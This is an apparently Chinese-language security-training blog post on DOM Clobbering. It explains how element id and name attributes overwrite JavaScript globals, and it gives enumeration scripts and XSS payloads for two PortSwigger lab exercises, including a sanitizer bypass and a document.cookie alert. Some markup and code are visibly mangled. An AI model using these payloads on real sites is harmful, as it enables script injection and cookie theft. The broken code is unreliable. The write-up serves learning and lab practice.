DOM破坏攻击学习

作者：L's 合天智汇

前言

最近看到好多师傅都已经学习过了DOM Clobbering Attack，因此自己也来学习一波。

0x01 简介

DOM最初诞生的时候没有一个很好的标准，以至于各个浏览器在实现的过程中会支持DOM的一些怪异行为，而这些行为可能会导致DOM Clobbering的发生浏览器可能会将各种DOM元素的name和id属性添加为document的属性或页面的全局变量，这会导致覆盖掉document原有的属性或全局变量，或者劫持一些变量的内容。

测试环境 Chrome 80.0.3987.132

0x02 简单的例子：

1.对象创建

测试代码如下：

!DOCTYPE html>html lang="en"> head>     meta charset="UTF-8">     title>DOM Clobbering Attack/title> /head> body> form id=test1>/form> form name=test2>/form> script>     console.log(test1);     console.log(test2);     console.log(window.test1);     console.log(window.test2);     console.log(document.test1);     console.log(document.test2); /script> /body> /html>

打印的结果如下：

通过上面的结果，可以看出来HTML标签中的id属性值被当做全局变量，name属性值被当成document的属性，这也就是为什么上面有一行输出undefined的原因。

2.方法的覆盖

测试代码如下：

!DOCTYPE html>html lang="en"> head>     meta charset="UTF-8">     title>DOM Clobbering Attack/title> /head> body> form name="getElementById">/form> form id="form">/form> script>     console.log(document.getElementById);     console.log(document.getElementById("form")) /script> /body> /html>

结果如下：

通过上面的输出结果显示我们可以通过name属性覆盖document中的内置方法。

3.通过标签的层级关系构造变量的层级关系

测试代码如下：

!DOCTYPE html>html lang="en"> head>     meta charset="UTF-8">     title>DOM Clobbering Attack/title> /head> body> form id="test1">     input id="test2">     img id="test3"> /form> form id="test4" name="test5">/form> form name="body">     input name="firstChild"> /form> script>     console.log(test1);     console.log(test1.test2);     console.log(test1.test3);     console.log(test4['name']);     console.log(test5['id']);     console.log(document.body);     console.log(document.body.firstChild); /script> /body> /html>

结果如下：

通过上面的结果我们看到，可以通过多层覆盖的方式，覆盖Window和document下的对象。

0x03 javascript Scope

由于DOM Clobbering Attack的攻击中有很多的地方用到了javascript的作用域链，因此我们可以来了解一下：

1.全局作用域：

在javascript中全局作用域一般是window(nodejs是global)。

2.显示声明：

!DOCTYPE html>html lang="en"> head>     meta charset="UTF-8">     title>DOM Clobbering Attack/title> /head> body> script>     var testValue=123;     var testFunc=function () {         console.log("DOM");     };     console.log(window.testValue); // 123     console.log(window.testFunc); // function(){console.log("DOM")} /script> /body> /html>

3.隐式声明：

不带有声明关键字的变量，js会默认帮你声明一个全局变量：

!DOCTYPE html>html lang="en"> head>     meta charset="UTF-8">     title>DOM Clobbering Attack/title> /head> body> script>     function foo(value) {         result=value+1;         return result;     }     foo(1);     console.log(window.result); // 2 /script> /body> /html>

变量result被挂载到了window对象上了。

4.块级作用域：

在 ES6 之前，是没有块级作用域的概念的。如果你有 C++ 或者 Java 经验，想必你对块级作用域并不陌生：

for (var i=0;i5;i++){} console.log(i); // 5

从上面的结果来看，说明var声明的变量，在for循环之后仍然保存在这个作用域里，而for(){}仍然在全局作用域里，因此var声明的变量在全局作用域里。

我们可以通过let(或const用来声明常量)来声明变量，实现块级作用域。

除了上面的几种作用域外还有语法作用域，动态作用域等，就不赘述了感兴趣的参考下面的链接。

0x04 攻击方法：

1.为了分析DOM Clobbering漏洞，假设如下代码：

if (window.test1.test2) {     eval(''+window.test1.test2) }

如果我们想利用Dom Clobbering技巧来执行任意的js，需要解决两个问题：

1)利用html标签的属性id，很容易在window对象上创建任意的属性，但是我们能在新对象上创建新属性吗？

2)怎么控制DOM elements被强制转为string之后的值，大多数的dom节点被转为string后是[object HTMLInputElement]。

我们可以用前面的例子来解决第一个问题：

!DOCTYPE html>html lang="en"> head>     meta charset="UTF-8">     title>DOM Clobbering Attack/title> /head> body> form id="test1">     input name="test2"> /form> script>     console.log(test1.test2.toString()); // [object HTMLInputElement] /script> /body> /html>

我们可以用下面的一段代码来枚举，html存在的所有标签，然后检查其dom节点对象有没有实现toString方法，或者是继承于Object.ptototype。如果是继承自Object.prototype,那么很有可能只会返回[object SomeElement]

Object.getOwnPropertyNames(window).filter(p => p.match(/Element$/)) .map(p => window[p]) .filter(p => p area>)和HTMLAnchorElement (a>)，这两个标签的toString会直接返回他的href属性。
!DOCTYPE html>html lang="en"> head>     meta charset="UTF-8">     title>DOM Clobbering Attack/title> /head> body> a id=test1 href=https://www.baidu.com>     script>         console.log(test1.toString()); // https://www.baidu.com     /script> /body> /html>
结合上面的两个问题，我们会构造如下payload:
form id=test1>   a name=test2 href="x:alert(1)">/a> /form>
但是test1.test2是undefined，这是因为input>元素会变成form>的属性，但a>标签并不会。
form id=test1>     a name=test2 href="x:alert(1)">/a> /form> body> script>     console.log(test1.test2); // undefined /script>
我们可以通过构造一个HTMLCollection来解决问题，例如：
a id="test1">click1!/a>a id="test1">click2!/a> body> script>     console.log(test1) /script>
返回的**如下所示：
HTMLCollection(2) [a#test1, a#test1, test1: a#test1] length: 2 0: a#test1 1: a#test1 test1: a#test1 __proto__: HTMLCollection
HTMLCollection可以通过index访问，同时可以使用id访问，并且可以使用name访问，例如：
a id="test1">click1!/a>a id="test1" name="test2">click2!/a> body> script>     console.log(test1.test2); //a id="test1" name="test2">click2!/a> /script>
因此上面的问题得到解决，通过构造如下payload:
a id="test1">/a>a id="test1" name="test2" href="jacascript:alert(1)">/a>  a id="test1">/a>a id="test1" name="test2" href="javascript:alert(1)">/a>script>     if (window.test1.test2) {         eval(''+window.test1.test2)     } /script>
成功执行。
2.确定DOM元素间的关系
我们把两个HTML元素相邻放置，分别为其分配一个ID，然后检查第一个元素是否具有第二个元素的属性。代码如下：
const log = [];     const html = ["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt", "element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head", "header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol", "nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select", "shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var", "video", "wbr", "xmp"];     div=document.createElement('div');     for(let i=0; ihtml.length; i++) {         for(let j=0; jhtml.length; j++) {             div.innerHTML=''+html[i]+' id=element1>'+''+html[j]+' id=element2>';             document.body.appendChild(div);             if(window.element1              }             document.body.removeChild(div);         }     }     console.log(log.join('\n'));
上面是我们用html标签的id属性来寻找DOM之间的关系的过程，结果如下：
form,button form,fieldset form,image form,img form,input form,object form,output form,select form,textarea
如果我们要覆盖一个对象的x.y.value值，可以用下面的这种方式：
form id=x>output id=y>I've been clobbered/output>/form>script>     console.log(x.y.value); /script>
3.使用form标签来伪造三层的对象引用
form id=x name=y>input id=z>/form>form id=x>/form> script>     alert(x.y.z) /script>
在Chrome中，当form标签有两个一样的id的input标签时，Chrome会将其处理为[object RadioNodeList]，这个可以用forEach来遍历：
form id=x>     input id=y name=z>     input id=y> /form> script>     x.y.forEach(element=>alert(element)); /script>
4.是否自定义的DOM节点也具有上面的属性呢？
form id=x y="123">/form>script>     alert(x.y); // undefined /script>
我们可以通过下面的代码来测试一下dom中有哪些属性可以用：
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"];//HTML elements arrayvar props=[]; for(i=0;ihtml.length;i++){   obj = document.createElement(html[i]);    for(prop in obj) {     if(typeof obj[prop] === 'string') {       try {         props.push(html[i]+':'+prop);       }catch(e){}     }    } } console.log([...new Set(props)].join('\n'));
上面的代码显示的是string类型的属性，他们并不一定可控，为了检查他们是否可读写，我们可以用下面的代码：
var html = [...]//HTML elements arrayvar props=[]; for(i=0;ihtml.length;i++){     obj = document.createElement(html[i]);     for(prop in obj) {         if(typeof obj[prop] === 'string') {             try {                 DOM.innerHTML = ''+html[i]+' id=x '+prop+'=1>';                 if(document.getElementById('x')[prop] == 1) {                     props.push(html[i]+':'+prop);                 }             }catch(e){}         }     } } console.log([...new Set(props)].join('\n'));
通过上面的输出结果可以有：
a id="x" target="ddd">/a>a id="y" download="eee">/a> ... script>     console.log(x.target); // ddd     console.log(y.download); // eee /script>
对于上面的DOM属性中，我们需要关注的是username和password属性，他们是a标签的节点属性并不是html中定义的属性，这两个属性可以通过url的中的username字段和password字段提供，但是需要有@符号：
a id=x href="ftp:Clobbered-username:Clobbered-Password@a">/a>script>          console.log(x.username); //Clobbered-username     console.log(x.password); //Clobbered-password /script>
上面不仅可以用ftp协议，也可以用http协议(必须加//)，需要注意的是，如果我们直接通过toString函数将dom转换为字符串他的href是经过url编码的，不过我们可以通过一个不存在的协议绕过abc:>：
a id=x href="abc:>">/a>script>          alert(x); //abc:> /script>
5.获取3级以上的对象引用
@Terjanq提到，可以结合iframe的srcdoc属性构造任意层数的对象引用。
例子如下：
iframe name=a srcdoc=" iframe srcdoc='a id=c name=d href=cid:Clobbered>test/a>a id=c>' name=b>">/iframe> script>setTimeout(()=>alert(a.b.c.d),500)/script>
上面用到了setTimeout设置一个定时器是为了保证iframe框架的加载完成。我们可以利用style/link来加载外部样式表来造成延迟：
iframe name=a srcdoc=" iframe srcdoc='a id=c name=d href=cid:Clobbered>test/a>a id=c>' name=b>">/iframe> style>@import '//portswigger.net';/style> script> alert(a.b.c.d) /script>
0x06 攻击实例：
1.clobbering to enable XSS lab
实验之前先看一个简单的例子：
a id=someObject>a id=someObject name=url href="./xss.js"> !--xss.js alert(1)-->script>     window.onload = function(){         let someObject = window.someObject || {};         let script = document.createElement('script');         script.src = someObject.url;         document.body.appendChild(script);     }; /script>
这个实验就有点类似下面这个例子：
通过查看源代码我们可以看到这个文件：loadCommentsWithDomClobbering.js，我们可以看到下面的获取图片src的代码：
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}let avatarImgHTML = 'img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">'; let divImgContainer = document.createElement("div"); divImgContainer.innerHTML = avatarImgHTML
avatar的默认值是/resources/images/avatarDefault.svg，我们可以通过覆盖window.defaultAvatar来实现xss，构造的payload如下：
a id=defaultAvatar>a id=defaultAvatar name=avatar href="cid:onerror=alert(1)//">
插入的标签如下：
p>a id="defaultAvatar">/a> a href="cid:onerror=alert(1)//" name="avatar" id="defaultAvatar">/a> /p>
为什么我们要把闭合前面的"编码为，因为cid是没有这个协议的，因此不会对"进行url编码。这样在解码时就变成了控制字符"改变页面结构。
然后再评论一次，刷新全局变量，加载loadCommentsWithDomClobbering.js即可导致xss。
2.Clobbering attributes lab
实验之前我们先来看一个例子：
!DOCTYPE html>html lang="en"> head>     meta charset="UTF-8">     title>DOM Clobbering Attack/title> /head> body> html> body> !-- 表单，用于提交payload --> form action="" id="form1">     input type="text" name="payload" style="width: 500px;height:60px;">br>     input type="button" onclick=formSubmit() value="submit"> /form> /body> /html> script>     // 遍历DOM树，不需要关注这个函数     function DomBFS(element, callback) {         var queue = [];         while(element) {             callback(element);             if(element.children.length !== 0) {                 for (var i = 0; i  element.children.length; i++) {                     queue.push(element.children[i]);                 }             }             element = queue.shift();         }     }      // 过滤用户提交的HTML代码，如果包含onclick, onerror，删掉该属性(attribute)     let blockAttributes = ["onclick", "onerror"];     function formSubmit() {         let f = document.getElementById("form1");         let sandbox = document.implementation.createHTMLDocument('');         let root = sandbox.createElement("div");         root.innerHTML = f.payload.value;          DomBFS(root, function(element){             // 遍历属性名             for(var a = 0; a  element.attributes.length; a+=1) {                 let attr = element.attributes[a];                 if(blockAttributes.indexOf(attr.name) != -1) {                     element.removeAttribute(attr.name);                     a -= 1;                 }             }         });         document.body.appendChild(root);     } /script> /body> /html>
payload如下：
form onclick=alert(1)>input id=attributes>Click me
由于attributes被覆盖导致执行到payload的form时跳过for循环跳过黑名单，成功执行xss。
跟上面一样我们先看看loadCommentsWithHtmlJanitor.js的代码。
// Sanitize attributesfor (var a = 0; a  node.attributes.length; a += 1) {     var attr = node.attributes[a];      if (shouldRejectAttr(attr, allowedAttrs, node)) {         node.removeAttribute(attr.name);         // Shift the array to continue looping.         a = a - 1;     } }
结合上面的例子我们可以通过构造form id=x>input id=attributes>的形式来绕过。
根据题目的要求，需要访问触发，并且通过参考资料得知利用tabindex属性和form的onfocus来执行xss。
因此构造如下：
form id=x tabindex=0 onfocus=alert(document.cookie)>input id=attributes>
但是我们要解决这个lab需要提交到该漏洞利用的漏洞服务器，而且用户直接点击是不会触发xss的，因此我们要构造一个在评论后主动访问并且加上#x，为了等待评论完成我们需要延迟一下，因此构造下面的payload:
iframe src=https://ac5d1feb1e0464fb80aec03700a10012.web-security-academy.net/post?postId=2 onload="setTimeout(a=>this.src=this.src+'#x',500)">/iframe>
直接提交完成lab。
0x07 总结
现在一般可以xss的地方都会有过滤，因此当我们xss不了的时候我们是不是可以考虑一下DOM Clobbering Attack呢？
0x08
参考链接
http://d1iv3.me/2018/04/11/DOM-Clobbering-Attack/
https://juejin.im/post/5abb99e9f265da2392366824
https://wonderkun.cc/2020/02/15/DOM%20Clobbering%20Attack%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
https://portswigger.net/research/dom-clobbering-strikes-back
https://xz.aliyun.com/t/7346
https://portswigger.net/web-security/dom-based/dom-clobbering
实验推荐：
WebGoat之XSS
http://hetianlab.com/expc.do?ce=bda568d3-a31c-49ef-ba3e-a4c7d4ee1d0a
（由于html和js都是解释执行的，如果对用户的输入过滤不够严格，导致用户输入一些html或者js代码被浏览器执行）
声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！

转载请注明来自网盾网络安全培训，本文标题：《DOM破坏攻击学习》

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